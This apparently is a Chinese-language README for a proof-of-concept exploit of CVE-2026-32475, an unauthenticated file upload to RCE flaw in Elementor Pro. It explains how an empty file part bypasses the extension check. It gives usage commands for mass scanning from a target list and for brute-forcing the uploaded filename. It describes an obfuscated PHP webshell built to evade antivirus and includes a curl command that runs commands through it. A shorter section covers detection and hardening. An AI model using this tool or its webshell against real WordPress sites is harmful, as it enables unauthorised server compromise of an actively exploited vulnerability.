
CVE-2026-32475 的概念验证漏洞利用程序,该漏洞是 Elementor Pro 中一个未经认证的任意文件上传漏洞,可导致远程代码执行。包含批量扫描、暴力破解文件名确认,以及内置的混淆 Web Shell,用于授权测试。
Elementor Pro 预认证任意文件上传导致远程代码执行
CVE-2026-32475 的概念验证,这是 Elementor Pro Forms 模块中的一个严重未认证任意文件上传漏洞,最终可导致远程代码执行。该 PoC 为同一上传字段提交两个文件部分——一个空的首条目(空白文件名,触发 UPLOAD_ERR_NO_FILE),随后是载荷。validation() 循环通过 return 在空条目上提前退出,而 process_field() 通过 continue 跳过它,因此载荷永远不会经过扩展名检查,并以 .php 扩展名落入公共目录。用于测试修复后行为的 PoC(即修补后发送相同请求)必须被扩展名检查拦截。
注意: 此 PoC 仅用于授权的安全测试和研究。CVE-2026-32475 正在被积极利用,自 8 月 19 日披露以来,Wordfence 已拦截 190,000+ 次尝试。您有责任遵守所有适用法律,并在测试任何系统前获得书面授权。
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requests 库安装依赖:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell 上传一个最小化的混淆 PHP webshell(关键字在运行时通过
chr()/implode/strrev 构建,命令参数为 vapcom),因此简单的静态签名和
磁盘上的 AV 实时扫描不会标记它。存储的文件名仍然是随机的
(<uniqid()>.php);与 --brute 结合使用,它会探测 ?vapcom=echo <marker> 并报告
exec confirmed: <name>.php。定位后手动使用:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
AJAX 响应中的 success:true 表示载荷已被接受,未经过扩展名检查。使用 --brute 的第 4 步(猜测的 .php 文件包含标记时返回 200)确认了服务器端 PHP 执行——即完全 RCE。
结果状态:vulnerable | patched | unknown | error
vulnerable — Web 服务器返回 "success":true;载荷跳过了扩展名检查patched — 上传被文件类型错误拒绝(扩展名检查已执行)unknown — HTTP 成功但响应不是 success:true(ID 错误或意外状态)error — 请求/解析失败(超时、非 200、未找到表单)<uniqid()>.<攻击者扩展名> — 提交的基名会被丢弃,因此双扩展名/空字节技巧无关紧要;只有扩展名检查起作用,而它正是被绕过的环节。wp-content/uploads/elementor/forms/ 中附带了一个 .htaccess,对所有文件设置 Content-Disposition: attachment。这不会阻止执行 — PHP 仍在服务器端运行,下载的响应就是执行后的输出。要在实验室中让 shell 在浏览器中渲染,请禁用该 .htaccess;在真实环境中仅将其视为装饰性措施,并依赖服务器级别的 PHP 阻止策略。uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec),因此名称由时间推导(Unix 秒,低 32 位 + 微秒)。暴力破解步骤以提交响应 Date 头中观察到的秒数为基准,对于 .php 文件,请求 ?vapcom=echo <marker>(或对令牌/--payload 文件使用 ?c=),因此包含标记的响应是实际的服务器端 PHP 执行,而不仅仅是文件读取。最坏情况约为每秒 100 万次微秒猜测,因此请收紧 --seconds-window 以保持运行时间较短。# 不应存在于上传目录中的 PHP 文件
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta 文件视为入侵证据。/wp-content/uploads/elementor/forms/ 下的 GET 以及携带 elementor_pro_forms_send_form 的 POST。mu-plugins、被修改的核心/主题文件以及意外的 WP-Cron 事件;优先从已知良好的备份恢复,而非就地清理。location 规则或 Apache <FilesMatch>)。这是持久性修复,可将此漏洞及未来的上传漏洞降级为"磁盘浪费"。elementor_pro_forms_send_form 操作的日志。| 参数 | 描述 | 默认值 |
|---|
-t, --target | 单个目标 URL | - |
-T, --targets | 包含目标 URL 的文件,每行一个 | - |
-o, --output | 结果文件(CSV:target, status, form_id, post_id, field, note) | - |
--timeout | 请求超时时间(秒) | 15 |
--post-id | 覆盖检测到的 post_id | 自动 |
--form-id | 覆盖检测到的 form_id(Elementor 组件 ID) | 自动 |
--field | 覆盖检测到的上传字段 custom_id | 自动 |
--payload | 自定义载荷文件路径(默认:良性 PHP 令牌文件) | 良性令牌 |
--shell | 上传内置混淆 PHP webshell(<?php ... system($_GET) ?> 在运行时构建,参数 vapcom)而非令牌 | 关闭 |
--brute | 成功上传后,暴力破解 uniqid() 文件名以确认代码执行 | 关闭 |
--seconds-window | 服务器 Date 头前后暴力破解的秒数 | 5 |